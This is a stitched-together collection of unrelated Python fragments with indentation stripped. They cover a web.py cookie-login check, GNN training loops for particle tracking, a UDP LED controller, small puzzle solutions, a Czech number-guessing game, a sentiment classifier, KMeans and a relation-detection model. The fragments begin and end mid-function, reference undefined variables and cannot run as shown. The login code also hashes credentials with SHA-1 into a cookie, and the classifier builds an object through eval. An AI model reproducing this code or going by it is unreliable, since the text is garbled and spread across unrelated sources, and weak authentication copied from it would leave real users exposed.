if web.cookies().get('pas') != sha(pas).hexdigest():
raise web.seeother("/login")
else:
return func(*args)
def POST(self):
d = web.input()
pas = d.username + sha(d.password).hexdigest() + str(tt())[:6]
web.setcookie('pas', sha(pas).hexdigest(), 30000)
web.seeother("./")
def main(args):
with open(args.config) as f:
config = yaml.load(f, Loader=yaml.FullLoader)
# Dataset processing
pt_cut = config["selection"]["pt_min"]
train_number = config["selection"]["train_number"]
test_number = config["selection"]["test_number"]
load_dir = config["input_dir"]
model_dir = config["model_dir"]
# Construct experiment name
group = str(pt_cut) + "pt_cut"
if endcaps:
group += "_endcaps"
print("Running experiment group:", group)
train_path = os.path.join(load_dir, group,
str(train_number) + "_events_train")
test_path = os.path.join(load_dir, group,
str(test_number) + "_events_test")
train_dataset = torch.load(train_path)
test_dataset = torch.load(test_path)
train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True)
test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True)
# Model config
m_configs = config["model"]
model = EmbeddingToAGNN(**m_configs).to(device)
# multi_loss = MultiNoiseLoss(n_losses=2).to(device)
m_configs.update(config["training"])
m_configs.update(config["selection"])
wandb.init(group=group, config=m_configs)
wandb.run.save()
print(wandb.run.name)
model_name = wandb.run.name
wandb.watch(model, log="all")
# Optimizer config
# optimizer = torch.optim.AdamW([
# {'params': model.emb_network.parameters()},
# {'params': chain(model.node_network.parameters(), model.edge_network.parameters(), model.input_network.parameters())},
# {'params': multi_loss.noise_params}],
# lr = 0.001, weight_decay=1e-3, amsgrad=True)
# Scheduler config
# lambda1 = lambda ep: 1 / (args.lr_1**(ep//10))
# lambda2 = lambda ep: 1 / (args.lr_2**(ep//30))
# lambda3 = lambda ep: 1 / (args.lr_3**(ep//10))
# scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=[lambda1, lambda2, lambda3])
optimizer = torch.optim.AdamW(
model.parameters(),
lr=m_configs["lr"],
weight_decay=m_configs["weight_decay"],
amsgrad=True,
)
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(
optimizer, factor=m_configs["factor"], patience=m_configs["patience"])
# Training loop
for epoch in range(30):
tic = tt()
model.train()
if args.adjacent:
edge_acc, cluster_pur, train_loss = balanced_adjacent_train(
model, train_loader, optimizer, multi_loss, m_configs)
else:
edge_acc, cluster_pur, train_loss = balanced_train(
model, train_loader, optimizer, multi_loss, m_configs)
# print("Training loss:", train_loss)
model.eval()
if args.adjacent:
with torch.no_grad():
(
edge_acc,
edge_pur,
edge_eff,
cluster_pur,
cluster_eff,
val_loss,
av_nhood_size,
) = evaluate_adjacent(model, test_loader, multi_loss,
m_configs)
else:
with torch.no_grad():
(
edge_acc,
edge_pur,
edge_eff,
cluster_pur,
cluster_eff,
val_loss,
av_nhood_size,
) = evaluate(model, test_loader, multi_loss, m_configs)
scheduler.step()
wandb.log({
"val_loss": val_loss,
"train_loss": train_loss,
"edge_acc": edge_acc,
"edge_pur": edge_pur,
"edge_eff": edge_eff,
"cluster_pur": cluster_pur,
"cluster_eff": cluster_eff,
"lr": scheduler._last_lr[0],
"combined_performance":
edge_eff * cluster_eff * edge_pur + cluster_pur,
"combined_efficiency": edge_eff * cluster_eff * edge_pur,
"noise_1": multi_loss.noise_params[0].item(),
"noise_2": multi_loss.noise_params[1].item(),
"av_nhood_size": av_nhood_size,
})
save_model(
epoch,
model,
optimizer,
scheduler,
cluster_eff,
m_configs,
"EmbeddingToAGNN/" + model_name + ".tar",
)
print(
"Epoch: {}, Edge Accuracy: {:.4f}, Edge Purity: {:.4f}, Edge Efficiency: {:.4f}, Cluster Purity: {:.4f}, Cluster Efficiency: {:.4f}, Loss: {:.4f}, LR: {} in time {}"
.format(
epoch,
edge_acc,
edge_pur,
edge_eff,
cluster_pur,
cluster_eff,
val_loss,
scheduler._last_lr,
tt() - tic,
))
def main(args):
# print(args)
device = "cuda" if torch.cuda.is_available() else "cpu"
# Dataset processing
input_dir = "/global/cscratch1/sd/danieltm/ExaTrkX/trackml/train_all/"
all_events = os.listdir(input_dir)
all_events = [input_dir + event[:14] for event in all_events]
np.random.shuffle(all_events)
train_dataset = [
prepare_event(event_file, args.pt_cut, [1000, np.pi, 1000],
args.adjacent)
for event_file in all_events[:args.train_size]
]
test_dataset = [
prepare_event(event_file, args.pt_cut, [1000, np.pi, 1000],
args.adjacent)
for event_file in all_events[-args.val_size:]
]
train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True)
test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True)
# Model config
e_configs = {
"in_channels": 3,
"emb_hidden": args.emb_hidden,
"nb_layer": args.nb_layer,
"emb_dim": args.emb_dim,
}
m_configs = {
"in_channels": 3,
"emb_hidden": args.emb_hidden,
"nb_layer": args.nb_layer,
"emb_dim": args.emb_dim,
"r": args.r_val,
"hidden_dim": args.hidden_dim,
"n_graph_iters": args.n_graph_iters,
}
other_configs = {
"weight": args.weight,
"r_train": args.r_train,
"r_val": args.r_val,
"margin": args.margin,
"reduction": "mean",
}
# Create and pretrain embedding
embedding_model = models.Embedding(**e_configs).to(device)
wandb.init(group="EmbeddingToAGNN_PurTimesEff", config=m_configs)
embedding_optimizer = torch.optim.Adam(embedding_model.parameters(),
lr=0.0005,
weight_decay=1e-3,
amsgrad=True)
for epoch in range(args.pretrain_epochs):
tic = tt()
embedding_model.train()
cluster_pur, train_loss = train_emb(embedding_model, train_loader,
embedding_optimizer, other_configs)
embedding_model.eval()
with torch.no_grad():
cluster_pur, cluster_eff, val_loss, av_nhood_size = evaluate_emb(
embedding_model, test_loader, other_configs)
wandb.log({
"val_loss": val_loss,
"train_loss": train_loss,
"cluster_pur": cluster_pur,
"cluster_eff": cluster_eff,
"av_nhood_size": av_nhood_size,
})
# Create and train main model
model = getattr(models,
args.model)(**m_configs,
pretrained_model=embedding_model).to(device)
multi_loss = models.MultiNoiseLoss(n_losses=2).to(device)
m_configs.update(other_configs)
wandb.run.save()
print(wandb.run.name)
model_name = wandb.run.name
wandb.watch(model, log="all")
# Optimizer config
optimizer = torch.optim.AdamW(
[
{
"params":
chain(model.emb_network_1.parameters(),
model.emb_network_2.parameters())
},
{
"params":
chain(
model.node_network.parameters(),
model.edge_network.parameters(),
model.input_feature_network.parameters(),
)
},
{
"params": multi_loss.noise_params
},
],
lr=0.001,
weight_decay=1e-3,
amsgrad=True,
)
# Scheduler config
lambda1 = lambda ep: 1 / (args.lr_1**(ep // 10))
lambda2 = lambda ep: 1 / (args.lr_2**(ep // 30))
lambda3 = lambda ep: 1 / (args.lr_3**(ep // 10))
scheduler = torch.optim.lr_scheduler.LambdaLR(
optimizer, lr_lambda=[lambda1, lambda2, lambda3])
# Training loop
for epoch in range(50):
tic = tt()
model.train()
if args.adjacent:
edge_acc, cluster_pur, train_loss = balanced_adjacent_train(
model, train_loader, optimizer, multi_loss, m_configs)
else:
edge_acc, cluster_pur, train_loss = balanced_train(
model, train_loader, optimizer, multi_loss, m_configs)
# print("Training loss:", train_loss)
model.eval()
if args.adjacent:
with torch.no_grad():
(
edge_acc,
edge_pur,
edge_eff,
cluster_pur,
cluster_eff,
val_loss,
av_nhood_size,
) = evaluate_adjacent(model, test_loader, multi_loss,
m_configs)
else:
with torch.no_grad():
(
edge_acc,
edge_pur,
edge_eff,
cluster_pur,
cluster_eff,
val_loss,
av_nhood_size,
) = evaluate(model, test_loader, multi_loss, m_configs)
scheduler.step()
wandb.log({
"val_loss": val_loss,
"train_loss": train_loss,
"edge_acc": edge_acc,
"edge_pur": edge_pur,
"edge_eff": edge_eff,
"cluster_pur": cluster_pur,
"cluster_eff": cluster_eff,
"lr": scheduler._last_lr[0],
"combined_performance":
edge_eff * cluster_eff * edge_pur + cluster_pur,
"combined_efficiency": edge_eff * cluster_eff * edge_pur,
"noise_1": multi_loss.noise_params[0].item(),
"noise_2": multi_loss.noise_params[1].item(),
"av_nhood_size": av_nhood_size,
})
save_model(
epoch,
model,
optimizer,
scheduler,
cluster_eff,
m_configs,
"EmbeddingToAGNN/" + model_name + ".tar",
)
def _wrapped(*args, **kwargs):
t1 = tt()
result = func(*args, **kwargs)
t2 = tt()
logger.info('Ran %s in time %f' % (func.__name__, t2 - t1))
return result
def update():
global update_time, timmer, qframe, qtimmer, controller, FPS
scale = 15
brightness = 255
if controller and controller.outlets[0] is not None:
i = 0
for q in range(4):
#print "q", q
msg = ""
if controller.outlets[i] is None:
return
outlet = np.fromstring(controller.outlets[i], dtype=np.uint8)
numlights = len(outlet) / 3
if numlights < 200:
msg = ''.join(chr(v * brightness / 255) for v in outlet)
msg = msg + ''.join([chr(0)] * ((200 - numlights) * 3))
else:
msg = ''.join(chr(v * brightness / 255) for v in outlet[0:600])
i = i + 1
outlet = np.fromstring(controller.outlets[i], dtype=np.uint8)
numlights = len(outlet) / 3
if numlights < 200:
msg = msg + ''.join(chr(v * brightness / 255) for v in outlet)
msg = msg + ''.join([chr(0)] * ((200 - numlights) * 3))
else:
msg = msg + ''.join(
chr(v * brightness / 255) for v in outlet[0:600])
i = i + 1
#print content['IP_'+str(i+1)]
#print content['Controller'+str(i+1)]
#msg = ''.join( [chr(255)] * ((400)*3))
if content['Controller' + str(q + 1)]:
#print msg
try:
#print len(msg), content['IP_'+str(q+1)]
sock = socket.socket(socket.AF_INET,
socket.SOCK_DGRAM) # UDP
#sock.setsockopt(socket.IPPROTO_IP,socket.IP_TTL,4)
#sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL,10)
sock.sendto(msg, (content['IP_' + str(q + 1)], UDP_PORT))
except socket.error as e:
print "socket error {} at device: {} ({})".format(
e, q + q, content['IP_' + str(q + 1)])
#controller sol
brightness = 255
msg = ""
outlet = np.fromstring(controller.outlets[5], dtype=np.uint8)
numlights = len(outlet) / 3
if numlights < 200:
msg = msg + ''.join([chr(0)] * ((200) * 3))
else:
if numlights < 400:
#print len(outlet)
print(numlights - 200) * 3
#print "-----------------"
msg = ''.join(chr(v * brightness / 255) for v in outlet[600:])
msg = msg + ''.join([chr(0)] * ((200 - (numlights - 200)) * 3))
print "A"
else:
msg = msg + ''.join(
chr(v * brightness / 255) for v in outlet[600:1200])
print "B"
msg = msg + msg
if content['Controller5']:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, 4)
sock.sendto(msg, (content['IP_5'], UDP_PORT))
except socket.error as e:
print "socket error {} at device: {} ({})".format(
e, q + q, content['IP_5'])
#----------
#FPS check
#if qframe >= FPS-1:
# qframe = 0
# print tt() - qtimmer
# qtimmer = tt()
# print "------------------"
#else:
# qframe = qframe + 1;
#--------
#--------
#FPS limiter:
actual = tt()
elapsed = actual - timmer
#30 fps --> 1/30
diff = update_time - elapsed
if diff > 0:
time.sleep(diff)
timmer = tt()
FPS = content['FPS_LIMIT']
update_time = 1.0 / FPS
def sum_nums_multiples_of_three_or_five(num):
"""
project euler problem 1 : Multiples of 3 and 5
:param num: The number up to which one has to list all the numbers which are multiples of either 3 or 5
and return their sum
:return:the sum of all the numbers
"""
# Step 1: given a number, check each number from 0 until that number if it is divisible by 3 or 5
# Step 2: If a number of divisible, append it to a list.
# without numpy
# num_list = []
# for x in range(1, num):
# if (x % 3 == 0) or (x % 5 == 0):
# num_list.append(x)
#
# return sum(num_list)
# with numpy
num_list_full = np.array(list(range(1, num)))
num_list_reduced = num_list_full[(num_list_full % 3 == 0) |
(num_list_full % 5 == 0)]
return sum(num_list_reduced)
startT = tt()
print(sum_nums_multiples_of_three_or_five(1000))
endT = tt()
print(endT - startT)
print(tisk)
print("Návrat do menu za 10 sekund")
sleep(10)
settings["menu_volba"] = 0
while int(settings.get("menu_volba")) == 1:
idif = int(settings.get("dif_delka"))
idif1 = int(settings.get("dif_pokusy"))
#generátor čísla
n = range(0, 10)
while n[0] == 0:
n = list(random.sample(n, k=idif))
#tělo hry
print(
f"{sep}\nVygeneroval jsem číslo o délce {idif}, příjemnou zábavu\nZbývá pokusů {idif1}\nPro ukončení kdykoli napiš exit\n{sep}"
)
t_start = tt() #timer
pokus = True
while pokus:
nguess = input(f"Tipněte si číslo o délce {idif}: ")
if nguess == "exit":
print("Kolo ukončeno")
settings["pokusy_kolo"] = 0
pokus = False
break
else:
while len(nguess) != idif or nguess.isdigit(
) != True or nguess[0] == "0" or dupe(nguess) == True:
print(f"Chybný vstup, zadej číslo o délce {idif}")
nguess = input(f"Tipněte si číslo o délce {idif}: ")
bull, poradi, cow = 0, 0, 0
settings["pokusy_kolo"] += 1
return hero_times <= enemy_times
def make_shop(s):
with open(s) as f:
items = []
for line in f.readlines():
args = line.rstrip().split()
i = {}
i['cost'] = int(args[-3])
i['damage'] = int(args[-2])
i['armor'] = int(args[-1])
items.append(i)
return items
t = tt()
weapons = make_shop('weapons.txt')
armors = make_shop('armor.txt')
rings = make_shop('rings.txt')
n = {'cost':0, 'damage':0, 'armor':0}
armors.append(n)
rings.append(n)
with open('input.txt') as f:
boss = {}
boss['hp'] = int(f.readline().rstrip().split()[-1])
boss['damage'] = int(f.readline().rstrip().split()[-1])
boss['armor'] = int(f.readline().rstrip().split()[-1])
max_cost = -1
min_cost = 10000
for eq_list in product(weapons, armors, rings, rings):
training_set, testing_set = [], []
else:
featuresets = common_functions.doc_process(
file_name, documents, word_features)
random.shuffle(featuresets)
training_set, testing_set = tt_split(featuresets, percent_train)
classifiers, classifier_accuracies = try_train_all_classifiers(
file_name, classifiers_to_use, training_set, testing_set)
print('\n', classifier_accuracies)
acc_values = [classifier_accuracies[key] for key in classifier_accuracies.keys() if key in classifiers_to_use]
print(acc_values)
voted_classifier = eval(
'VoteClassifier(' + generate_class_inp_str(classifiers) + ')')
def sentiment(text):
feats = common_functions.find_features(text, word_features)
# return voted_classifier.classify(feats), voted_classifier.confidence(feats)
return voted_classifier.classify_w(feats, acc_values), voted_classifier.confidence(feats)
if __name__ == '__main__':
from time import time as tt
t_1 = tt()
print(sentiment("good item, handy tool, would recommend"))
print(sentiment("useless, breaky easily, avoid!"))
print(tt() - t_1, ' s')
def _wrapped(*args, **kwargs):
t1 = tt()
result = func(*args, **kwargs)
t2 = tt()
logger.info('Ran %s in time %f' % (func.__name__, t2 - t1))
return result
def process_dataset(dataset, number, save_dir, model, ratio, train=True):
for i, batch in enumerate(dataset[:number]):
tic = tt()
if not os.path.exists(os.path.join(save_dir, batch.event_file[-4:])):
data = batch.to(device)
spatial = model(torch.cat([data.cell_data, data.x], axis=-1))
e_spatial = build_edges(spatial, 1.4, 1024, res)
# Get the truth graphs
e_bidir = torch.cat(
[
batch.layerless_true_edges,
torch.stack(
[batch.layerless_true_edges[1], batch.layerless_true_edges[0]],
axis=1,
).T,
],
axis=-1,
)
# Get random edge list
e_spatial = build_edges(spatial, 1.4, 1024, res)
# Remove duplicate edges by distance from vertex
R_dist = torch.sqrt(batch.x[:, 0] ** 2 + batch.x[:, 2] ** 2)
e_spatial = e_spatial[:, (R_dist[e_spatial[0]] < R_dist[e_spatial[1]])]
e_spatial, y = graph_intersection(e_spatial, e_bidir)
# Re-introduce random direction, to avoid training bias
random_flip = torch.randint(2, (e_spatial.shape[1],)).bool()
e_spatial[0, random_flip], e_spatial[1, random_flip] = (
e_spatial[1, random_flip],
e_spatial[0, random_flip],
)
batch.embedding = spatial.cpu().detach()
if train and (
ratio != 0
): # Sample only ratio:1 fake:true edges, to keep trainset manageable
num_true = y.sum()
fake_indices = choice(
np.where(~y)[0], int(num_true * ratio), replace=True
)
true_indices = np.where(y)[0]
combined_indices = np.concatenate([true_indices, fake_indices])
shuffle(combined_indices)
batch.e_radius = e_spatial[:, combined_indices].cpu()
batch.y = torch.from_numpy(y[combined_indices]).float()
else:
batch.e_radius = e_spatial.cpu()
batch.y = torch.from_numpy(y).float()
with open(
os.path.join(save_dir, batch.event_file[-4:]), "wb"
) as pickle_file:
torch.save(batch, pickle_file)
print(
i,
"saved in time",
tt() - tic,
"with efficiency",
(batch.y.sum() / batch.layerless_true_edges.shape[1]).item(),
"and purity",
(batch.y.sum() / batch.e_radius.shape[1]).item(),
)
else:
print(i, "already built")
def KMeans(x, K=10, Niter=10, verbose=True):
"""Implements Lloyd's algorithm for the Euclidean metric."""
use_cuda = torch.cuda.is_available()
dtype = torch.float32 if use_cuda else torch.float64
start = tt()
N, D = x.shape # Number of samples, dimension of the ambient space
c = x[:K, :].clone() # Simplistic initialization for the centroids
# print(c)
x_i = LazyTensor(x.view(N, 1, D)) # (N, 1, D) samples
c_j = LazyTensor(c.view(1, K, D)) # (1, K, D) centroids
# K-means loop:
# - x is the (N, D) point cloud,
# - cl is the (N,) vector of class labels
# - c is the (K, D) cloud of cluster centroids
for i in range(Niter):
# E step: assign points to the closest cluster -------------------------
D_ij = ((x_i - c_j)**2).sum(-1) # (N, K) symbolic squared distances
cl = D_ij.argmin(dim=1).long().view(-1) # Points -> Nearest cluster
cl_indices = torch.argsort(cl)
cl_sorted = cl[cl_indices]
_, counts = torch.unique(cl_sorted, return_counts=True, sorted=True)
cl_indices_split = cl_indices.split(tuple(counts))
buckets = []
for bucket in cl_indices_split:
buckets.append(torch.combinations(bucket))
buckets_cat = torch.cat(buckets).t()
dist = torch.sum((x[buckets_cat[0]] - x[buckets_cat[1]])**2, axis=-1)
r = 0.4
r_mask = dist < r**2
edges = buckets_cat[:, r_mask]
# M step: update the centroids to the normalized cluster average: ------
# Compute the sum of points per cluster:
# c.zero_()
# c.scatter_add_(0, cl[:, None].repeat(1, D), x)
# # Divide by the number of points per cluster:
# Ncl = torch.bincount(cl, minlength=K).type_as(c).view(K, 1)
# c /= Ncl # in-place division to compute the average
if verbose: # Fancy display -----------------------------------------------
if use_cuda:
torch.cuda.synchronize()
# print(cl_indices_split)
print("Bucket size:", buckets_cat.shape)
print("Edge size:", edges.shape)
print("Average edge num:", edges.shape[1] / len(x))
end = tt()
print(
f"K-means for the Euclidean metric with {N:,} points in dimension {D:,}, K = {K:,}:"
)
print("Timing for {} iterations: {:.5f}s = {} x {:.5f}s\n".format(
Niter, end - start, Niter, (end - start) / Niter))
return cl, c
def forward(self,
x,
im_sizes,
image_offset,
gt_boxes=None,
gt_classes=None,
gt_rels=None,
proposals=None,
train_anchor_inds=None,
return_fmap=False):
"""
Forward pass for Relation detection
Args:
x: Images@[batch_size, 3, IM_SIZE, IM_SIZE]
im_sizes: A numpy array of (h, w, scale) for each image.
image_offset: Offset onto what image we're on for MGPU training (if single GPU this is 0)
parameters for training:
gt_boxes: [num_gt, 4] GT boxes over the batch.
gt_classes: [num_gt, 2] gt boxes where each one is (img_id, class)
gt_rels:
proposals:
train_anchor_inds: a [num_train, 2] array of indices for the anchors that will
be used to compute the training loss. Each (img_ind, fpn_idx)
return_fmap:
Returns:
If train:
scores, boxdeltas, labels, boxes, boxtargets, rpnscores, rpnboxes, rellabels
If test:
prob dists, boxes, img inds, maxscores, classes
"""
s_t = time.time()
verbose = False
def check(sl, een, sst=s_t):
if verbose:
print('{}{}'.format(sl, een - sst))
result = self.detector(x,
im_sizes,
image_offset,
gt_boxes,
gt_classes,
gt_rels,
proposals,
train_anchor_inds,
return_fmap=True)
check('detector', tt())
assert not result.is_none(), 'Empty detection result'
# image_offset refer to Blob
# self.batch_size_per_gpu * index
im_inds = result.im_inds - image_offset
boxes = result.rm_box_priors
obj_scores, box_classes = F.softmax(
result.rm_obj_dists[:, 1:].contiguous(), dim=1).max(1)
box_classes += 1
# TODO: predcls implementation obj_scores and box_classes
num_img = im_inds[-1] + 1
# embed(header='rel_model.py before rel_assignments')
if self.training and result.rel_labels is None:
assert self.mode == 'sgdet'
# only in sgdet mode
# shapes:
# im_inds: (box_num,)
# boxes: (box_num, 4)
# rm_obj_labels: (box_num,)
# gt_boxes: (box_num, 4)
# gt_classes: (box_num, 2) maybe[im_ind, class_ind]
# gt_rels: (rel_num, 4)
# image_offset: integer
result.rel_labels = rel_assignments(im_inds.data,
boxes.data,
result.rm_obj_labels.data,
gt_boxes.data,
gt_classes.data,
gt_rels.data,
image_offset,
filter_non_overlap=True,
num_sample_per_gt=1)
rel_inds = self.get_rel_inds(result.rel_labels, im_inds, boxes)
rois = torch.cat((im_inds[:, None].float(), boxes), 1)
# union boxes feats (NumOfRels, obj_dim)
union_box_feats = self.visual_rep(result.fmap.detach(), rois,
rel_inds[:, 1:].contiguous())
# single box feats (NumOfBoxes, feats)
box_feats = self.obj_feature_map(result.fmap.detach(), rois)
# box spatial feats (NumOfBox, 4)
box_pair_feats = self.fuse_message(union_box_feats, boxes, box_classes,
rel_inds)
box_pair_score = self.relpn_fc(box_pair_feats)
if self.training:
# sampling pos and neg relations here for training
rel_sample_pos, rel_sample_neg = 0, 0
pn_rel_label, pn_pair_score = list(), list()
for i, s, e in enumerate_by_image(
result.rel_labels[:, 0].data.contiguous()):
im_i_rel_label = result.rel_labels[s:e].contiguous()
im_i_box_pair_score = box_pair_score[s:e].contiguous()
im_i_rel_fg_inds = torch.nonzero(
im_i_rel_label[:, -1].contiguous()).squeeze()
im_i_rel_fg_inds = im_i_rel_fg_inds.data.cpu().numpy()
im_i_fg_sample_num = min(RELEVANT_PER_IM,
im_i_rel_fg_inds.shape[0])
if im_i_rel_fg_inds.size > 0:
im_i_rel_fg_inds = np.random.choice(
im_i_rel_fg_inds,
size=im_i_fg_sample_num,
replace=False)
im_i_rel_bg_inds = torch.nonzero(
im_i_rel_label[:, -1].contiguous() == 0).squeeze()
im_i_rel_bg_inds = im_i_rel_bg_inds.data.cpu().numpy()
im_i_bg_sample_num = min(EDGES_PER_IM - im_i_fg_sample_num,
im_i_rel_bg_inds.shape[0])
if im_i_rel_bg_inds.size > 0:
im_i_rel_bg_inds = np.random.choice(
im_i_rel_bg_inds,
size=im_i_bg_sample_num,
replace=False)
#print('{}/{} fg/bg in image {}'.format(im_i_fg_sample_num, im_i_bg_sample_num, i))
rel_sample_pos += im_i_fg_sample_num
rel_sample_neg += im_i_bg_sample_num
im_i_keep_inds = np.append(im_i_rel_fg_inds, im_i_rel_bg_inds)
im_i_pair_score = im_i_box_pair_score[
im_i_keep_inds.tolist()].contiguous()
im_i_rel_pn_labels = Variable(
torch.zeros(im_i_fg_sample_num + im_i_bg_sample_num).type(
torch.LongTensor).cuda(x.get_device()))
im_i_rel_pn_labels[:im_i_fg_sample_num] = 1
pn_rel_label.append(im_i_rel_pn_labels)
pn_pair_score.append(im_i_pair_score)
result.rel_pn_dists = torch.cat(pn_pair_score, 0)
result.rel_pn_labels = torch.cat(pn_rel_label, 0)
result.rel_sample_pos = torch.Tensor([rel_sample_pos]).cuda(
im_i_rel_label.get_device())
result.rel_sample_neg = torch.Tensor([rel_sample_neg]).cuda(
im_i_rel_label.get_device())
box_pair_relevant = F.softmax(box_pair_score, dim=1)
box_pos_pair_ind = torch.nonzero(box_pair_relevant[:, 1].contiguous(
) > box_pair_relevant[:, 0].contiguous()).squeeze()
if box_pos_pair_ind.data.shape == torch.Size([]):
return None
#print('{}/{} trim edges'.format(box_pos_pair_ind.size(0), rel_inds.size(0)))
result.rel_trim_pos = torch.Tensor([box_pos_pair_ind.size(0)]).cuda(
box_pos_pair_ind.get_device())
result.rel_trim_total = torch.Tensor([rel_inds.size(0)
]).cuda(rel_inds.get_device())
if self.trim_graph:
# filtering relations
filter_rel_inds = rel_inds[box_pos_pair_ind.data]
filter_box_pair_feats = box_pair_feats[box_pos_pair_ind.data]
else:
filter_rel_inds = rel_inds
filter_box_pair_feats = box_pair_feats
if self.training:
if self.trim_graph:
filter_rel_labels = result.rel_labels[box_pos_pair_ind.data]
else:
filter_rel_labels = result.rel_labels
num_gt_filtered = torch.nonzero(filter_rel_labels[:, -1])
if num_gt_filtered.shape == torch.Size([]):
num_gt_filtered = 0
else:
num_gt_filtered = num_gt_filtered.size(0)
num_gt_orignial = torch.nonzero(result.rel_labels[:, -1]).size(0)
result.rel_pn_recall = torch.Tensor(
[num_gt_filtered / num_gt_orignial]).cuda(x.get_device())
result.rel_labels = filter_rel_labels
check('trim', tt())
# message passing between boxes and relations
if self.mode in ('sgcls', 'sgdet'):
for _ in range(self.mp_iter_num):
box_feats = self.message_passing(box_feats,
filter_box_pair_feats,
filter_rel_inds)
box_cls_scores = self.cls_fc(box_feats)
result.rm_obj_dists = box_cls_scores
obj_scores, box_classes = F.softmax(
box_cls_scores[:, 1:].contiguous(), dim=1).max(1)
box_classes += 1 # skip background
check('mp', tt())
# RelationCNN
filter_box_pair_feats_fc1 = self.relcnn_fc1(filter_box_pair_feats)
filter_box_pair_score = self.relcnn_fc2(filter_box_pair_feats_fc1)
result.rel_dists = filter_box_pair_score
pred_scores_stage_one = F.softmax(result.rel_dists, dim=1).data
# filter_box_pair_feats is to be added to memory
if self.training:
padded_filter_feats, pack_lengths, re_filter_rel_inds, padded_rel_labels = \
self.pad_sequence(
filter_rel_inds,
filter_box_pair_feats_fc1,
rel_labels=result.rel_labels
)
else:
padded_filter_feats, pack_lengths, re_filter_rel_inds, padded_rel_inds = \
self.pad_sequence(
filter_rel_inds,
filter_box_pair_feats_fc1
)
# trimming zeros to avoid no rel in image
trim_pack_lengths = np.trim_zeros(pack_lengths)
trim_padded_filter_feats = padded_filter_feats[:trim_pack_lengths.
shape[0]]
packed_filter_feats = pack_padded_sequence(trim_padded_filter_feats,
trim_pack_lengths,
batch_first=True)
if self.training:
trim_padded_rel_labels = padded_rel_labels[:trim_pack_lengths.
shape[0]]
packed_rel_labels = pack_padded_sequence(trim_padded_rel_labels,
trim_pack_lengths,
batch_first=True)
rel_mem_dists = self.mem_module(inputs=packed_filter_feats,
rel_labels=packed_rel_labels)
rel_mem_dists = self.re_order_packed_seq(rel_mem_dists,
filter_rel_inds,
re_filter_rel_inds)
result.rel_mem_dists = rel_mem_dists
else:
trim_padded_rel_inds = padded_rel_inds[:trim_pack_lengths.shape[0]]
packed_rel_inds = pack_padded_sequence(trim_padded_rel_inds,
trim_pack_lengths,
batch_first=True)
rel_mem_dists = self.mem_module(inputs=packed_filter_feats,
rel_inds=packed_rel_inds,
obj_classes=box_classes)
rel_mem_probs = self.re_order_packed_seq(rel_mem_dists,
filter_rel_inds,
re_filter_rel_inds)
rel_mem_probs = rel_mem_probs.data
check('mem', tt())
if self.training:
return result
# pad stage one output in rel_mem_probs if it sums zero
for rel_i in range(rel_mem_probs.size(0)):
rel_i_probs = rel_mem_probs[rel_i]
if rel_i_probs.sum() == 0:
rel_mem_probs[rel_i] = pred_scores_stage_one[rel_i]
"""
filter_dets
boxes: bbox regression else [num_box, 4]
obj_scores: [num_box] probabilities for the scores
obj_classes: [num_box] class labels integer
rel_inds: [num_rel, 2] TENSOR consisting of (im_ind0, im_ind1)
pred_scores: [num_rel, num_predicates] including irrelevant class(#relclass + 1)
"""
check('mem processing', tt())
return filter_dets(boxes, obj_scores, box_classes,
filter_rel_inds[:, 1:].contiguous(), rel_mem_probs)
def run(self,comm,timing=False):
from mpi4py import MPI
rank = comm.Get_rank()
size = comm.Get_size()
from time import time as tt
merge_op = MPI.Op.Create(self.mpi_merge_op, commute=True)
# set things up
if rank == 0:
if timing: print "SETUP START RANK=%d TIME=%f"%(rank,tt())
self.initialize()
self.validate()
self.read_models()
scaler_master = self.scaler_class(
miller_set=self.miller_set,
i_model=self.i_model,
params=self.params,
log=self.out)
scaler_master.mpi_initialize(self.frame_files)
transmitted_info = dict(file_names=self.frame_files,
miller_set=self.miller_set,
model = self.i_model,
params = self.params )
if timing: print "SETUP END RANK=%d TIME=%f"%(rank,tt())
else:
if timing: print "SETUP START RANK=%d TIME=%f"%(rank,tt())
transmitted_info = None
if timing: print "SETUP END RANK=%d TIME=%f"%(rank,tt())
if timing: print "BROADCAST START RANK=%d TIME=%f"%(rank,tt())
transmitted_info = comm.bcast(transmitted_info, root = 0)
if timing: print "BROADCAST END RANK=%d TIME=%f"%(rank,tt())
# now actually do the work
if timing: print "SCALER_WORKER_SETUP START RANK=%d TIME=%f"%(rank,tt())
scaler_worker = self.scaler_class(transmitted_info["miller_set"],
transmitted_info["model"],
transmitted_info["params"],
log = sys.stdout)
if timing: print "SCALER_WORKER_SETUP END RANK=%d TIME=%f"%(rank,tt())
assert scaler_worker.params.backend == 'FS' # only option that makes sense
from xfel.merging.database.merging_database_fs import manager2 as manager
db_mgr = manager(scaler_worker.params)
file_names = [transmitted_info["file_names"][i] for i in xrange(len(transmitted_info["file_names"])) if i%size == rank]
if timing: print "SCALER_WORKERS START RANK=%d TIME=%f"%(rank, tt())
scaler_worker._scale_all_serial(file_names, db_mgr)
if timing: print "SCALER_WORKERS END RANK=%d TIME=%f"%(rank, tt())
scaler_worker.finished_db_mgr = db_mgr
# might want to clean up a bit before returning
del scaler_worker.log
#del scaler_worker.params
del scaler_worker.miller_set
del scaler_worker.i_model
del scaler_worker.reverse_lookup
if timing: print "SCALER_WORKERS_REDUCE START RANK=%d TIME=%f"%(rank, tt())
scaler_workers = comm.reduce(scaler_worker, op=merge_op, root=0)
if timing: print "SCALER_WORKERS_REDUCE END RANK=%d TIME=%f"%(rank, tt())
MPI.Finalize()
if rank == 0:
if timing: print "SCALER_MASTER_ADD START RANK=%d TIME=%f"%(rank, tt())
scaler_master._add_all_frames(scaler_workers)
if timing: print "SCALER_MASTER_ADD END RANK=%d TIME=%f"%(rank, tt())
for call_instance in scaler_workers.finished_db_mgr.sequencer:
if call_instance["call"] == "insert_frame":
if timing: print "SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f"%(rank, tt())
frame_id_zero_base = scaler_master.master_db_mgr.insert_frame(**call_instance["data"])
if timing: print "SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f"%(rank, tt())
elif call_instance["call"] == "insert_observation":
